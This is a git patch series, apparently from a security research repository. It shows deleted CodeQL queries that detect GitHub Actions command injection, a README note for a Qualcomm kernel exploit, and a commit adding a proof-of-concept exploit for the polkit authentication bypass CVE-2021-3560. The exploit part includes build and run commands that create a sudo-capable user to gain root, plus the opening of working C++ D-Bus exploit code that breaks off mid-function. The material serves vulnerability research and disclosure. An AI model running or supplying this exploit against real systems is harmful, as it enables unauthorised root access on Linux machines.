-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*repo\\s*\\.\\s*default_branch\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*ref\\b")
-}
-
-bindingset[context]
-private predicate isExternalUserControlledReview(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*review\\s*\\.\\s*body\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*review_comment\\s*\\.\\s*body\\b")
-}
-
-bindingset[context]
-private predicate isExternalUserControlledComment(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*comment\\s*\\.\\s*body\\b")
-}
-
-bindingset[context]
-private predicate isExternalUserControlledGollum(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pages(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*page_name\\b")
-}
-
-/**
- * Holds if `context` is a GitHub Actions context object containing values
- * that may be controlled by an external user with public access to the repository.
- */
-bindingset[context]
-private predicate isExternalUserControlledCommit(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*message\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*message\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*email\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*name\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*email\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*name\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*head_ref\\b")
-}
-
-from Actions::Ref ref, Actions::Uses uses, Actions::Step step, Actions::Job job,
-    ProbablePullRequestTarget pullRequestTarget
-where
-    pullRequestTarget.getWorkflow() = job.getWorkflow()
-    and uses.getStep() = step
-    and ref.getWith().getStep() = step
-    and step.getJob() = job
-    and uses.getGitHubRepository() = "actions/checkout"
-    and (
-      ref.getValue().matches("%github.event.pull_request.head.ref%") or
-      ref.getValue().matches("%github.event.pull_request.head.sha%") or
-      ref.getValue().matches("%github.event.pull_request.number%") or
-      ref.getValue().matches("%github.event.number%") or
-      ref.getValue().matches("%github.head_ref%")
-      )
-    and step instanceof ProbableStep
-    and job instanceof ProbableJob
-select step, "Potential unsafe checkout of untrusted pull request on `pull_request_target`"
diff --git a/CodeQL_Queries/actions/script_injections.ql b/CodeQL_Queries/actions/script_injections.ql
deleted file mode 100644
index bf67c40..0000000
--- a/CodeQL_Queries/actions/script_injections.ql
+++ /dev/null
@@ -1,353 +0,0 @@
-/**
- * @name Command injection from user-controlled Actions context
- * @description Using user-controlled GitHub Actions contexts in a command line may allow a malicious
- *              user to change the meaning of the command.
- * @id javascript/actions/command-injection
- * @kind problem
- * @problem.severity error
- */
-
-import javascript
-
-/**
- * Libraries for modelling GitHub Actions workflow files written in YAML.
- * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
- */
-module Actions {
-  /** A YAML node in a GitHub Actions workflow file. */
-  class Node extends YAMLNode {
-    Node() { this.getLocation().getFile().getRelativePath().matches(".github/workflows/%") }
-  }
-
-  /**
-   * An Actions workflow. This is a mapping at the top level of an Actions YAML workflow file.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
-   */
-  class Workflow extends Node, YAMLDocument, YAMLMapping {
-    /** Gets the `jobs` mapping from job IDs to job definitions in this workflow. */
-    YAMLMapping getJobs() { result = this.lookup("jobs") }
-
-    /** Gets the name of the workflow file. */
-    string getFileName() { result = this.getFile().getBaseName() }
-
-    /** Gets the `on:` in this workflow. */
-    On getOn() { result = this.lookup("on") }
-
-    /** Gets the job within this workflow with the given job ID. */
-    Job getJob(string jobId) { result.getWorkflow() = this and result.getId() = jobId }
-  }
-
-  /**
-   * An Actions job within a workflow.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobs.
-   */
-  class Job extends YAMLNode, YAMLMapping {
-    string jobId;
-    Workflow workflow;
-
-    Job() { this = workflow.getJobs().lookup(jobId) }
-
-    /**
-     * Gets the ID of this job, as a string.
-     * This is the job's key within the `jobs` mapping.
-     */
-    string getId() { result = jobId }
-
-    /**
-     * Gets the ID of this job, as a YAML scalar node.
-     * This is the job's key within the `jobs` mapping.
-     */
-    YAMLString getIdNode() { workflow.getJobs().maps(result, this) }
-
-    /** Gets the human-readable name of this job, if any, as a string. */
-    string getName() { result = this.getNameNode().getValue() }
-
-    /** Gets the human-readable name of this job, if any, as a YAML scalar node. */
-    YAMLString getNameNode() { result = this.lookup("name") }
-
-    /** Gets the step at the given index within this job. */
-    Step getStep(int index) { result.getJob() = this and result.getIndex() = index }
-
-    /** Gets the sequence of `steps` within this job. */
-    YAMLSequence getSteps() { result = this.lookup("steps") }
-
-    /** Gets the workflow this job belongs to. */
-    Workflow getWorkflow() { result = workflow }
-
-    /** Gets the value of the `if` field in this job, if any. */
-    JobIf getIf() { result.getJob() = this }
-  }
-
-  class JobIf extends YAMLNode, YAMLScalar {
-    Job job;
-
-    JobIf() {
-      job.lookup("if") = this
-    }
-
-    /** Gets the step this field belongs to. */
-    Job getJob() { result = job }
-  }
-
-  /**
-   * A step within an Actions job.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps.
-   */
-  class Step extends YAMLNode, YAMLMapping {
-    int index;
-    Job job;
-
-    Step() { this = job.getSteps().getElement(index) }
-
-    /** Gets the 0-based position of this step within the sequence of `steps`. */
-    int getIndex() { result = index }
-
-    /** Gets the job this step belongs to. */
-    Job getJob() { result = job }
-
-    /** Gets the value of the `uses` field in this step, if any. */
-    Uses getUses() { result.getStep() = this }
-
-    /** Gets the value of the `run` field in this step, if any. */
-    Run getRun() { result.getStep() = this }
-
-    /** Gets the value of the `if` field in this step, if any. */
-    StepIf getIf() { result.getStep() = this }
-  }
-
-  class StepIf extends YAMLNode, YAMLScalar {
-    Step step;
-
-    StepIf() {
-      step.lookup("if") = this
-    }
-
-    /** Gets the step this field belongs to. */
-    Step getStep() { result = step }
-  }
-
-  /**
-   * A `uses` field within an Actions job step, which references an action as a reusable unit of code.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses.
-   *
-   * For example:
-   * ```
-   * uses: actions/checkout@v2
-   * ```
-   * TODO: Does not currently handle local repository references, e.g. `.github/actions/action-name`.
-   */
-  class Uses extends YAMLNode, YAMLScalar {
-    Step step;
-    /** The owner of the repository where the Action comes from, e.g. `actions` in `actions/checkout@v2`. */
-    string repositoryOwner;
-    /** The name of the repository where the Action comes from, e.g. `checkout` in `actions/checkout@v2`. */
-    string repositoryName;
-    /** The version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */
-    string version;
-
-    Uses() {
-      step.lookup("uses") = this and
-      // Simple regular expression to split up an Action reference `owner/repo@version` into its components.
-      exists(string regexp | regexp = "([^/]+)/([^/@]+)@(.+)" |
-        repositoryOwner = this.getValue().regexpCapture(regexp, 1) and
-        repositoryName = this.getValue().regexpCapture(regexp, 2) and
-        version = this.getValue().regexpCapture(regexp, 3)
-      )
-    }
-
-    /** Gets the step this field belongs to. */
-    Step getStep() { result = step }
-
-    /** Gets the owner and name of the repository where the Action comes from, e.g. `actions/checkout` in `actions/checkout@v2`. */
-    string getGitHubRepository() { result = repositoryOwner + "/" + repositoryName }
-
-    /** Gets the version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */
-    string getVersion() { result = version }
-  }
-
-  class MappingOrSequenceOrScalar extends YAMLNode {
-    MappingOrSequenceOrScalar() {
-      this instanceof YAMLMapping
-      or
-      this instanceof YAMLSequence
-      or
-      this instanceof YAMLScalar
-    }
-
-    YAMLNode getNode(string name) {
-      exists(YAMLMapping mapping |
-        mapping = this and
-        result = mapping.lookup(name)
-      )
-      or
-      exists(YAMLSequence sequence, YAMLNode node |
-        sequence = this and
-        sequence.getAChildNode() = node and
-        node.eval().toString() = name and
-        result = node
-      )
-      or
-      exists(YAMLScalar scalar |
-        scalar = this and
-        scalar.getValue() = name and
-        result = scalar
-      )
-    }
-
-    int getElementCount() {
-      exists(YAMLMapping mapping |
-        mapping = this and
-        result = mapping.getNumChild() / 2
-      )
-      or
-      exists(YAMLSequence sequence |
-        sequence = this and
-        result = sequence.getNumChild()
-      )
-      or
-      exists(YAMLScalar scalar |
-        scalar = this and
-        result = 1
-      )
-    }
-  }
-
-  class On extends YAMLNode, MappingOrSequenceOrScalar {
-    Workflow workflow;
-
-    On() { workflow.lookup("on") = this }
-
-    Workflow getWorkflow() { result = workflow }
-  }
-
-  class With extends YAMLNode, YAMLMapping {
-    Step step;
-
-    With() { step.lookup("with") = this }
-
-    /** Gets the step this field belongs to. */
-    Step getStep() { result = step }
-  }
-
-  class Ref extends YAMLNode, YAMLString {
-    With with;
-
-    Ref() { with.lookup("ref") = this }
-
-    With getWith() { result = with }
-  }
-
-  /**
-   * A `run` field within an Actions job step, which runs command-line programs using an operating system shell.
-   * See https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun.
-   */
-  class Run extends YAMLNode, YAMLString {
-    Step step;
-
-    Run() { step.lookup("run") = this }
-
-    /** Gets the step that executes this `run` command. */
-    Step getStep() { result = step }
-
-    /**
-     * Holds if `${{ e }}` is a GitHub Actions expression evaluated within this `run` command.
-     * See https://docs.github.com/en/free-pro-team@latest/actions/reference/context-and-expression-syntax-for-github-actions.
-     */
-    string getAReferencedExpression() {
-      // We use `regexpFind` to obtain *all* matches of `${{...}}`,
-      // not just the last (greedy match) or first (reluctant match).
-      // TODO: This only handles expression strings that refer to contexts.
-      // It does not handle operators within the expression.
-      result =
-        this.getValue().regexpFind("(?<=\\$\\{\\{\\s*)[A-Za-z0-9_\\.\\-]+(?=\\s*\\}\\})", _, _)
-    }
-  }
-}
-
-// TODO: Cannot yet treat these as DataFlow::Nodes, because YAMLValue is inconvertible to Expr.
-/**
- * Holds if `child` is the qualified name of a GitHub Actions context nested as
- * a property of the GitHub Actions context with qualified name `parent`.
- * For example, `github.event.issue.body` is a child of `github.event.issue`.
- */
-bindingset[child]
-predicate nestedContext(string parent, string child) {
-  parent = child.regexpCapture("([A-Za-z0-9_\\.\\-]+)\\.[A-Za-z0-9_\\-]+", 1)
-}
-
-bindingset[context]
-private predicate isExternalUserControlledIssue(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*issue\\s*\\.\\s*title\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*issue\\s*\\.\\s*body\\b")
-}
-
-bindingset[context]
-private predicate isExternalUserControlledPullRequest(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*title\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*body\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*label\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*repo\\s*\\.\\s*default_branch\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*ref\\b")
-}
-
-bindingset[context]
-private predicate isExternalUserControlledReview(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*review\\s*\\.\\s*body\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*review_comment\\s*\\.\\s*body\\b")
-}
-
-bindingset[context]
-private predicate isExternalUserControlledComment(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*comment\\s*\\.\\s*body\\b")
-}
-
-bindingset[context]
-private predicate isExternalUserControlledGollum(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pages(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*page_name\\b")
-}
-
-/**
- * Holds if `context` is a GitHub Actions context object containing values
- * that may be controlled by an external user with public access to the repository.
- */
-bindingset[context]
-private predicate isExternalUserControlledCommit(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*message\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*message\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*email\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*name\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*email\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*name\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*head_ref\\b")
-}
-
-from Actions::Run run, string context, Actions::On on
-where
-  run.getAReferencedExpression() = context and
-  run.getStep().getJob().getWorkflow().getOn() = on and (
-    (
-      exists(on.getNode("issues")) and
-      isExternalUserControlledIssue(context)
-    ) or
-    (
-      exists(on.getNode("pull_request_target")) and
-      isExternalUserControlledPullRequest(context)
-    ) or
-    (
-     (exists(on.getNode("pull_request_review_comment")) or exists(on.getNode("pull_request_review"))) and
-     isExternalUserControlledReview(context)
-    ) or
-    (
-      (exists(on.getNode("issue_comment")) or exists(on.getNode("pull_request_target"))) and
-      isExternalUserControlledComment(context)
-    ) or
-    (
-      exists(on.getNode("gollum")) and
-      isExternalUserControlledGollum(context)
-    ) or
-    (
-      exists(on.getNode("pull_request_target")) and
-      isExternalUserControlledCommit(context)
-    )
-  )
-select run, "Potential command injection from the " + context + " context, which may be controlled by an external user."

From 98167ebb4eb5c9fcac29197a7374b2d8c465c852 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Fri, 19 Mar 2021 15:11:05 -0700
Subject: [PATCH 038/104] Update CodeQL_Queries/actions/README.md

---
 CodeQL_Queries/actions/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/CodeQL_Queries/actions/README.md b/CodeQL_Queries/actions/README.md
index 675a2d2..ad5373c 100644
--- a/CodeQL_Queries/actions/README.md
+++ b/CodeQL_Queries/actions/README.md
@@ -1,2 +1,2 @@
-The querie were merged into [CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094).  
+The queries were merged into [CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094).  
 Read more about the research on [https://securitylab.github.com/research/github-actions-untrusted-input](https://securitylab.github.com/research/github-actions-untrusted-input).

From 627a6a25437a1f173845c346f968071789bf21ad Mon Sep 17 00:00:00 2001
From: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com>
Date: Mon, 19 Apr 2021 20:15:50 +0200
Subject: [PATCH 039/104] Fix typo

---
 CodeQL_Queries/cpp/Chrome/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/CodeQL_Queries/cpp/Chrome/README.md b/CodeQL_Queries/cpp/Chrome/README.md
index b69e801..5a67fc1 100644
--- a/CodeQL_Queries/cpp/Chrome/README.md
+++ b/CodeQL_Queries/cpp/Chrome/README.md
@@ -12,7 +12,7 @@ The libraries in this repository are organized as follows:
 
 ### `commons.qll`:
 
-Mostly contain general enchancements to the standard QL library and some Chromium specific, but still general material. For example, because the operators `->` and `=` are often overloaded in Chrome, this somehow upsets the usual `getQualifier` and `Assignment` in QL, so two general methods, `getQualifier` and `GeneralAssignment` are implemented to take these into account. Other useful predicates are `constructionCall` and `polyConstructionCall`, which identify all the constructor calls, as well as constructions via `make_unique` and `MakeRefCounted`. `make_unique` works fine in code search, but not `MakeRefCounted`. Neither will work on vanilla QL, where you just end inside the standard library.
+Mostly contain general enhancements to the standard QL library and some Chromium specific, but still general material. For example, because the operators `->` and `=` are often overloaded in Chrome, this somehow upsets the usual `getQualifier` and `Assignment` in QL, so two general methods, `getQualifier` and `GeneralAssignment` are implemented to take these into account. Other useful predicates are `constructionCall` and `polyConstructionCall`, which identify all the constructor calls, as well as constructions via `make_unique` and `MakeRefCounted`. `make_unique` works fine in code search, but not `MakeRefCounted`. Neither will work on vanilla QL, where you just end inside the standard library.
 
 ### `collections.qll`:
 

From 1106c5486b63539c399608e9bf9760391ef2b48d Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Fri, 7 May 2021 17:00:11 +0100
Subject: [PATCH 040/104] Update readme

---
 SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
index 71fea80..25cc65b 100644
--- a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
+++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
@@ -2,7 +2,11 @@
 
 The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android). This is a bug in the Qualcomm kgsl driver I reported in July 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-375-kgsl). The bug can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain.
 
-The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed.
+The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed. In the case where the race condition failed regularly, the macro `DELAY` can be adjusted, although the default value seem to work well on different models. It also requires the phone to have more than 4GB of total ram (not free memory), as it needs to be able to allocate ion buffers with addresses higher than 32 bit. Phones with 4GB of ram may be exploitable, although the ion heap spray parameter will need to change and even in that case, the exploit is unlikely to be reliable. I also received some feedback that the compiler and compile options affect the reliability. For reference, I used the following command to compile with clang in ndk-21:
+
+```
+android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang kgsl_exploit_slab_a71.c -o kgsl_exploit_stable
+```
 
 The exploit is reasonably reliable, although it does need to wait a few minutes after start up, after the kernel activities settled down before running.
 

From f4ba866ba9909e22e0f8521964e8191b2e120237 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Mon, 17 May 2021 16:40:05 +0100
Subject: [PATCH 041/104] Underscores are apparently no longer allowed in pack
 names.

---
 CodeQL_Queries/cpp/Chrome/qlpack.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/CodeQL_Queries/cpp/Chrome/qlpack.yml b/CodeQL_Queries/cpp/Chrome/qlpack.yml
index 2c2b5a3..921fa4f 100644
--- a/CodeQL_Queries/cpp/Chrome/qlpack.yml
+++ b/CodeQL_Queries/cpp/Chrome/qlpack.yml
@@ -1,3 +1,3 @@
-name: chrome_ql
+name: chrome-ql
 version: 0.0.0
 libraryPathDependencies: codeql-cpp

From bce1a1ef29a3f55f12d69467756cbe522d9b2696 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Fri, 25 Jun 2021 22:52:20 +0100
Subject: [PATCH 042/104] PoC for authentication bypass in polkit
 (CVE-2021-3560)

---
 .gitmodules                                   |   3 +
 .../.gitignore                                |   1 +
 .../CMakeLists.txt                            |  36 ++
 .../DBusParse                                 |   1 +
 .../README.md                                 |  70 +++
 .../createuser.cpp                            | 416 ++++++++++++++++++
 .../installpackage.cpp                        | 346 +++++++++++++++
 7 files changed, 873 insertions(+)
 create mode 100644 .gitmodules
 create mode 100644 SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/.gitignore
 create mode 100644 SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/CMakeLists.txt
 create mode 160000 SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse
 create mode 100644 SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/README.md
 create mode 100644 SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/createuser.cpp
 create mode 100644 SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/installpackage.cpp

diff --git a/.gitmodules b/.gitmodules
new file mode 100644
index 0000000..497169b
--- /dev/null
+++ b/.gitmodules
@@ -0,0 +1,3 @@
+[submodule "SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse"]
+	path = SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse
+	url = https://github.com/kevinbackhouse/DBusParse.git
diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/.gitignore b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/.gitignore
new file mode 100644
index 0000000..378eac2
--- /dev/null
+++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/.gitignore
@@ -0,0 +1 @@
+build
diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/CMakeLists.txt b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/CMakeLists.txt
new file mode 100644
index 0000000..c74375b
--- /dev/null
+++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/CMakeLists.txt
@@ -0,0 +1,36 @@
+cmake_minimum_required(VERSION 3.10)
+
+enable_testing()
+
+# set the project name
+project(GHSL-2021-074-polkit VERSION 1.0.0 DESCRIPTION "Proof of concept exploit for GHSL-2021-074: authentication bypass in polkit")
+
+# specify the C++ standard
+set(CMAKE_CXX_STANDARD 17)
+set(CMAKE_CXX_STANDARD_REQUIRED True)
+
+option(USE_SANITIZERS "Enable ASAN and UBSAN" OFF)
+
+add_compile_options(-Wall -Wextra -pedantic -Werror)
+
+if (USE_SANITIZERS)
+  set(SANITIZER_FLAGS "-fsanitize=address,undefined")
+  set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}")
+  set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SANITIZER_FLAGS}")
+  set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}")
+  set(CMAKE_MODULE_LINKER_FLAGS "${CMAKE_MODULE_LINKER_FLAGS} ${SANITIZER_FLAGS}")
+endif()
+
+add_subdirectory(DBusParse)
+
+add_executable(createuser createuser.cpp)
+target_link_libraries(createuser PUBLIC DBusParse DBusParseUtils crypt)
+target_include_directories(
+        createuser PRIVATE
+        $<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/DBusParse/include/DBusParse>)
+
+add_executable(installpackage installpackage.cpp)
+target_link_libraries(installpackage PUBLIC DBusParse DBusParseUtils crypt)
+target_include_directories(
+        installpackage PRIVATE
+        $<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/DBusParse/include/DBusParse>)
diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse
new file mode 160000
index 0000000..0d28bdc
--- /dev/null
+++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse
@@ -0,0 +1 @@
+Subproject commit 0d28bdc3ba1c6c4e69e125aa394eddd6edb7622f
diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/README.md b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/README.md
new file mode 100644
index 0000000..8e3bc58
--- /dev/null
+++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/README.md
@@ -0,0 +1,70 @@
+# CVE-2021-3560
+
+This directory contains a proof of concept exploit for CVE-2021-3560:
+an authentication bypass vulnerability in
+[polkit](https://gitlab.freedesktop.org/polkit/polkit).
+
+The vulnerability is described in [this blog
+post](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/).
+
+# Build
+
+Instructions for building the PoC:
+
+```bash
+git submodule update --init  # Download https://github.com/kevinbackhouse/DBusParse
+mkdir build
+cd build
+cmake ..
+make
+```
+
+# Running
+
+The PoC exploits an authentication bypass vulnerability in polkit
+to create a new user account with `sudo` privileges.
+
+Note: if the PoC is run in a graphical session such as GNOME, then it
+will cause the dialog box for the authentication agent to pop up
+repeatedly, which is very annoying and also prevents the PoC from
+working. That is why the first step in the instructions below is
+`ssh localhost`.
+
+```bash
+ssh localhost
+cd build
+./createuser /var/run/dbus/system_bus_socket boris iaminvincible!
+```
+
+Assuming that the PoC is successful, there should now be a user named
+`boris`:
+
+```bash
+$ id boris
+uid=1008(boris) gid=1008(boris) groups=1008(boris),27(sudo)
+```
+
+You can now login as boris, using password "iaminvincible!":
+
+```bash
+su - boris  # password: iaminvincible!
+```
+
+And since `boris` is a member of the `sudo` group, you can now escalate
+privileges to `root`.
+
+## Non-graphical systems
+
+The `createuser` PoC depends on two packages being installed:
+`accountsservice` and `gnome-control-center`. Those packages might not
+be installed on some systems, such as a non-graphical RHEL server.
+However, the polkit vulnerability can also be used to exploit
+[packagekit](https://packagekit.freedesktop.org/), which means that we
+can use the vulnerability to install `accountsservice` and
+`gnome-control-center`.
+
+You can run the `packagekit` PoC like this:
+
+```bash
+./installpackage /var/run/dbus/system_bus_socket gnome-control-center
+```
diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/createuser.cpp b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/createuser.cpp
new file mode 100644
index 0000000..67e54fc
--- /dev/null
+++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/createuser.cpp
@@ -0,0 +1,416 @@
+#include "dbus_utils.hpp"
+#include "dbus_auth.hpp"
+#include "parse.hpp"
+#include "utils.hpp"
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/un.h>
+#include <crypt.h>
+#include <errno.h>
+#include <spawn.h>
+#include <signal.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <cstdint>
+#include <functional>
+#include <memory>
+#include <random>
+#include <utility>
+#include <assert.h>
+
+// When we set the password, we also have to supply a hint.  No privileges
+// are required to ask for the password hint, so this is a useful way to
+// check if we successfully set the password. (The hint will be an empty
+// string if the password isn't set.)
+static const char* passwordhint = "GoldenEye";
+
+class DBusSocket : public AutoCloseFD {
+public:
+  DBusSocket(const uid_t uid, const char* filename) :
+    AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0))
+  {
+    if (get() < 0) {
+      throw ErrorWithErrno("Could not create socket");
+    }
+
+    sockaddr_un address;
+    memset(&address, 0, sizeof(address));
+    address.sun_family = AF_UNIX;
+    strcpy(address.sun_path, filename);
+
+    if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) {
+      throw ErrorWithErrno("Could not connect socket");
+    }
+
+    dbus_sendauth(uid, get());
+
+    dbus_send_hello(get());
+    std::unique_ptr<DBusMessage> hello_reply1 = receive_dbus_message(get());
+    std::string name = hello_reply1->getBody().getElement(0)->toString().getValue();
+    std::unique_ptr<DBusMessage> hello_reply2 = receive_dbus_message(get());
+  }
+};
+
+static std::string send_accountsservice_FindUserByName(
+  const int fd,
+  const char* username,
+  const uint32_t serialNumber
+) {
+  dbus_method_call(
+    fd,
+    serialNumber,
+    DBusMessageBody::mk(
+      _vec<std::unique_ptr<DBusObject>>(
+        DBusObjectString::mk(_s(username))
+      )
+    ),
+    _s("/org/freedesktop/Accounts"),
+    _s("org.freedesktop.Accounts"),
+    _s("org.freedesktop.Accounts"),
+    _s("FindUserByName")
+  );
+
+  std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd);
+
+  if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) {
+    throw Error("FindUserByName returned an error.");
+  }
+
+  return reply->getBody().getElement(0)->toPath().getValue();
+}
+
+// Check if an account with the given username already exists.
+static std::string lookup_username(
+  const uid_t uid,
+  const char* filename,
+  const char* username
+) {
+  DBusSocket fd(uid, filename);
+  return send_accountsservice_FindUserByName(fd.get(), username, 1001);
+}
+
+static bool username_exists(
+  const uid_t uid,
